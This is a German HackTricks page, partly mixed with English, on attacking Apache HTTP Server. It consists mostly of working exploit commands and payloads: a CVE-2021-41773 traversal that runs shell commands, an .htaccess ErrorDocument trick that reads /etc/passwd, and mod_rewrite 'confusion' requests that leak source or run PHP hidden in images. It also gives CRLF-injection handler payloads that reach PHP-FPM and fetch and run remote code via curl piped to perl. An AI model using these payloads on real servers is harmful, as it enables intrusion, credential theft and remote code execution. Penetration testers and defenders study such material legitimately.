Apache
Reading time: 12 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Ausführbare PHP-Erweiterungen
Überprüfe, welche Erweiterungen der Apache-Server ausführt. Um sie zu finden, kannst du folgenden Befehl ausführen:
grep -R -B1 "httpd-php" /etc/apache2
Außerdem sind einige Orte, an denen Sie diese Konfiguration finden können:
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
/etc/apache2/mods-available/php7.3.conf
/etc/apache2/mods-enabled/php7.3.conf
CVE-2021-41773
curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; id; uname'
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
LFI über .htaccess ErrorDocument Dateianbieter (ap_expr)
Wenn du die .htaccess eines Verzeichnisses kontrollieren kannst und AllowOverride FileInfo für diesen Pfad eingeschlossen ist, kannst du 404-Antworten in beliebige lokale Dateilesen umwandeln, indem du die ap_expr file()-Funktion innerhalb von ErrorDocument verwendest.
- Anforderungen:
- Apache 2.4 mit aktiviertem Expression-Parser (ap_expr) (Standard in 2.4).
- Der vhost/dir muss .htaccess erlauben, ErrorDocument zu setzen (AllowOverride FileInfo).
- Der Apache worker user muss Leseberechtigungen für die Zieldatei haben.
.htaccess payload:
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
Löse dies aus, indem du einen beliebigen nicht vorhandenen Pfad unterhalb dieses Verzeichnisses anforderst, zum Beispiel beim Missbrauch von userdir-style hosting:
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
Hinweise und Tipps:
- Es funktionieren nur absolute Pfade. Der Inhalt wird als Antwortkörper des 404-Handlers zurückgegeben.
- Die effektiven Lese-Rechte entsprechen dem Apache-Benutzer (typischerweise www-data/apache). In Standard-Setups kannst du nicht /root/* oder /etc/shadow lesen.
- Selbst wenn .htaccess root-owned ist, falls das übergeordnete Verzeichnis tenant-owned ist und rename erlaubt, kannst du möglicherweise das originale .htaccess umbenennen und per SFTP/FTP eine eigene Ersatzdatei hochladen:
- rename .htaccess .htaccess.bk
- put your malicious .htaccess
- Nutze dies, um Anwendungsquellcode unter DocumentRoot oder vhost config paths zu lesen und Secrets (DB creds, API keys, etc.) zu sammeln.
Confusion Attack
These types of attacks has been introduced and documented by Orange in this blog post and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
Filename Confusion
Truncation
The mod_rewrite
will trim the content of r->filename
after the character ?
(modules/mappers/mod_rewrite.c#L4141). This isn't totally wrong as most modules will treat r->filename
as an URL. Bur in other occasions this will be treated as file path, which would cause a problem.
- Path Truncation
Es ist möglich, mod_rewrite
wie im folgenden Regelbeispiel zu missbrauchen, um auf andere Dateien im Dateisystem zuzugreifen, indem der letzte Teil des erwarteten Pfads entfernt wird, einfach indem ein ?
hinzugefügt wird:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
# Expected
curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
# Attack
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
- Irreführende RewriteFlag-Zuweisung
In der folgenden RewriteRule wird eine URL, solange sie auf .php endet, als php behandelt und ausgeführt. Daher ist es möglich, eine URL zu senden, die nach dem ?
-Zeichen auf .php endet, während im Pfad ein anderes Dateiformat (z. B. ein Bild) geladen wird, das bösartigen php-Code enthält:
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
# Attacker uploads a gif file with some php code
curl http://server/upload/1.gif
# GIF89a <?=`id`;>
# Make the server execute the php code
curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
ACL Bypass
Es ist möglich, auf Dateien zuzugreifen, auf die der Benutzer eigentlich keinen Zugriff haben sollte, selbst wenn der Zugriff durch Konfigurationen wie diese verweigert sein sollte:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
Das liegt daran, dass PHP-FPM standardmäßig URLs erhält, die auf .php
enden, wie http://server/admin.php%3Fooo.php
, und weil PHP-FPM alles nach dem Zeichen ?
entfernt, erlaubt die vorherige URL das Laden von /admin.php
, selbst wenn die vorherige Regel dies verboten hat.
DocumentRoot-Verwirrung
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
Eine interessante Tatsache über Apache ist, dass das vorherige Rewrite versuchen wird, die Datei sowohl aus dem documentRoot als auch aus root zu öffnen. Eine Anfrage an https://server/abouth.html
prüft also auf die Datei in /var/www/html/about.html
und /about.html
im Dateisystem. Das kann im Grunde missbraucht werden, um auf Dateien im Dateisystem zuzugreifen.
Serverseitige Source Code Disclosure
- CGI Source Code offenlegen
Einfaches Anhängen von %3F am Ende reicht aus, um den Source Code eines cgi-Moduls zu leak:
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
- PHP-Quellcode offenlegen
Wenn ein Server mehrere Domains hat, wobei eine davon eine statische Domain ist, kann dies missbraucht werden, um das Dateisystem zu traversieren und leak php code:
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
Local Gadgets Manipulation
Das Hauptproblem beim vorherigen Angriff ist, dass standardmäßig die meisten Zugriffe auf das Dateisystem, wie in Apache HTTP Server’s configuration template:
<Directory />
AllowOverride None
Require all denied
</Directory>
Allerdings erlauben Debian/Ubuntu Betriebssysteme standardmäßig /usr/share
:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
Daher wäre es möglich, Dateien innerhalb von /usr/share
in diesen Distributionen zu missbrauchen.
Local Gadget to Information Disclosure
- Apache HTTP Server mit websocketd kann das Skript dump-env.php unter /usr/share/doc/websocketd/examples/php/ exponieren, was sensible Umgebungsvariablen leak.
- Server mit Nginx oder Jetty könnten sensible Webanwendungsinformationen (z. B. web.xml) über ihre Standard-Webroots unter /usr/share exponieren:
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
Local Gadget to XSS
- Auf Ubuntu Desktop mit installiertem LibreOffice kann das Ausnutzen der Sprachumschaltfunktion der Hilfedateien zu Cross-Site Scripting (XSS) führen. Das Manipulieren der URL bei /usr/share/libreoffice/help/help.html kann auf bösartige Seiten oder ältere Versionen umleiten durch eine unsichere RewriteRule.
Local Gadget to LFI
- Wenn PHP oder bestimmte Frontend-Pakete wie JpGraph oder jQuery-jFeed installiert sind, können deren Dateien ausgenutzt werden, um sensible Dateien wie /etc/passwd zu lesen:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
Local Gadget to SSRF
- Die Nutzung von MagpieRSSs magpie_debug.php unter /usr/share/php/magpierss/scripts/magpie_debug.php kann einfach eine SSRF-Schwachstelle erzeugen und dadurch ein Tor zu weiteren Exploits öffnen.
Local Gadget to RCE
- Möglichkeiten für Remote Code Execution (RCE) sind zahlreich, etwa durch verwundbare Installationen wie veraltetes PHPUnit oder phpLiteAdmin. Diese können ausgenutzt werden, um beliebigen Code auszuführen und zeigen das hohe Potenzial der Manipulation lokaler Gadgets.
Jailbreak from Local Gadgets
Es ist auch möglich, aus den erlaubten Ordnern auszubrechen, indem man Symlinks folgt, die von installierter Software in diesen Ordnern erzeugt wurden, wie:
- Cacti Log:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr Data:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr Config:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki Config:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp Config:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
Außerdem war es durch Missbrauch von Symlinks möglich, RCE in Redmine zu erhalten.
Handler Confusion
Dieser Angriff nutzt die Überschneidung der Funktionalität zwischen den Direktiven AddHandler und AddType, die beide verwendet werden können, um PHP-Verarbeitung zu ermöglichen. Ursprünglich betrafen diese Direktiven unterschiedliche Felder (resp. r->handler und r->content_type) in der internen Serverstruktur. Aufgrund von Legacy-Code behandelt Apache diese Direktiven jedoch unter bestimmten Bedingungen austauschbar, indem r->content_type in r->handler umgewandelt wird, falls ersteres gesetzt ist und letzteres nicht.
Außerdem, im Apache HTTP Server (server/config.c#L420
), wenn r->handler vor dem Aufruf von ap_run_handler() leer ist, verwendet der Server r->content_type als Handler, wodurch AddType und AddHandler praktisch dieselbe Wirkung haben.
Overwrite Handler to Disclose PHP Source Code
In this talk wurde eine Schwachstelle vorgestellt, bei der eine falsche Content-Length
, die ein Client sendet, dazu führen kann, dass Apache irrtümlich den PHP-Quellcode zurückgibt. Dies lag an einem Fehler im Fehlerhandling mit ModSecurity und dem Apache Portable Runtime (APR), bei dem eine doppelte Antwort dazu führt, dass r->content_type auf text/html
überschrieben wird.\ Weil ModSecurity Rückgabewerte nicht korrekt behandelt, würde es den PHP-Code zurückgeben und ihn nicht interpretieren.
Overwrite Handler to XXXX
TODO: Orange hat diese Schwachstelle noch nicht bekanntgegeben
Invoke Arbitrary Handlers
Wenn ein Angreifer die Content-Type
-Header einer Serverantwort kontrollieren kann, wird er beliebige Modul-Handler aufrufen können. Zu dem Zeitpunkt, an dem der Angreifer dies kontrolliert, ist jedoch bereits der Großteil der Anfrageverarbeitung abgeschlossen. Es ist jedoch möglich, den Anfrageprozess durch Missbrauch des Location
-Headers neu zu starten, denn wenn der zurückgegebene Status
200 ist und der Location
-Header mit einem /
beginnt, wird die Antwort als serverseitige Umleitung behandelt und erneut verarbeitet
According to RFC 3875 (specification about CGI) in Section 6.2.2 defines a Local Redirect Response behavior:
The CGI script can return a URI path and query-string (‘local-pathquery’) for a local resource in a Location header field. This indicates to the server that it should reprocess the request using the path specified.
Um diesen Angriff durchzuführen, wird eine der folgenden Schwachstellen benötigt:
- CRLF Injection in the CGI response headers
- SSRF with complete control of the response headers
Arbitrary Handler to Information Disclosure
Zum Beispiel sollte /server-status nur lokal zugänglich sein:
<Location /server-status>
SetHandler server-status
Require local
</Location>
Es ist möglich, darauf zuzugreifen, indem man Content-Type
auf server-status
setzt und den Location-Header so setzt, dass er mit /
beginnt.
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
Beliebiger Handler zu vollständigem SSRF
Weiterleitung an mod_proxy
, um auf jedes Protokoll bei jeder URL zuzugreifen:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:
http://example.com/%3F
%0d%0a
%0d%0a
Allerdings wird der Header X-Forwarded-For
hinzugefügt, was den Zugriff auf Cloud-Metadaten-Endpunkte verhindert.
Beliebiger Handler zum Zugriff auf lokale Unix Domain Socket
Greife auf den lokalen Unix Domain Socket von PHP-FPM zu, um eine in /tmp/
abgelegte PHP-Backdoor auszuführen:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
Arbitrary Handler to RCE
Das offizielle PHP Docker Image enthält PEAR (Pearcmd.php
), ein Kommandozeilen-PHP-Paketverwaltungs-Tool, das missbraucht werden kann, um RCE zu erlangen:
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
orange.tw/x|perl
) %2b alltests.php %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
Siehe Docker PHP LFI Summary, geschrieben von Phith0n für Details zu dieser Technik.
Quellen
- https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1
- Apache 2.4 Custom Error Responses (ErrorDocument)
- Apache 2.4 Expressions and functions (file:)
- HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.